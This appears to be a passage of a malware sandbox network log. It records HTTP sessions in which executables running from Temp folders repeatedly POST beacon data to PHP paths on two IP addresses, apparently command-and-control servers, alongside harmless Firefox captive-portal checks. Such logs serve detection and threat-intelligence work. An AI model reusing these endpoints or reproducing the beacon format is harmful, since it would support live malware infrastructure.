Jul 26, 2024 10:41:41.643399000 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:42.436063051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49913	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:42.269418955 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:43.046160936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:43.055866957 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:43.300503969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49914	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:43.135910988 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:43.934649944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49915	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:43.412440062 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:44.194437981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:44.209876060 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:44.537363052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49916	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:43.945651054 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:44.798669100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49918	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:44.654081106 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:45.408708096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:45.410047054 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:45.657659054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:44.251646042 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:45.045933008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49920	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:44.924022913 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:45.742392063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:45.748816013 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:46.048414946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:45.077460051 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:45.919466972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49921	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:45.792983055 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:46.548212051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:46.584012985 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:46.835328102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49922	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:46.172437906 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:47.982355118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:47.991230965 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:48.002036095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:48.002075911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:48.006084919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:48.245101929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49929	34.107.221.82	80	3132	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:48.009162903 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:37:48.518090010 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50929 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:37:56.359122038 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:37:56.458240986 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50937 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:37:57.001806021 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:37:57.102437019 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50938 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:37:59.797561884 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:37:59.928764105 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50940 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:00.474302053 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:00.573569059 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50941 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:01.329821110 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:01.429831028 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50942 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:01.724263906 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:01.824707031 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50942 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 10:38:10.702743053 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 10:38:10.802697897 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 50951 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
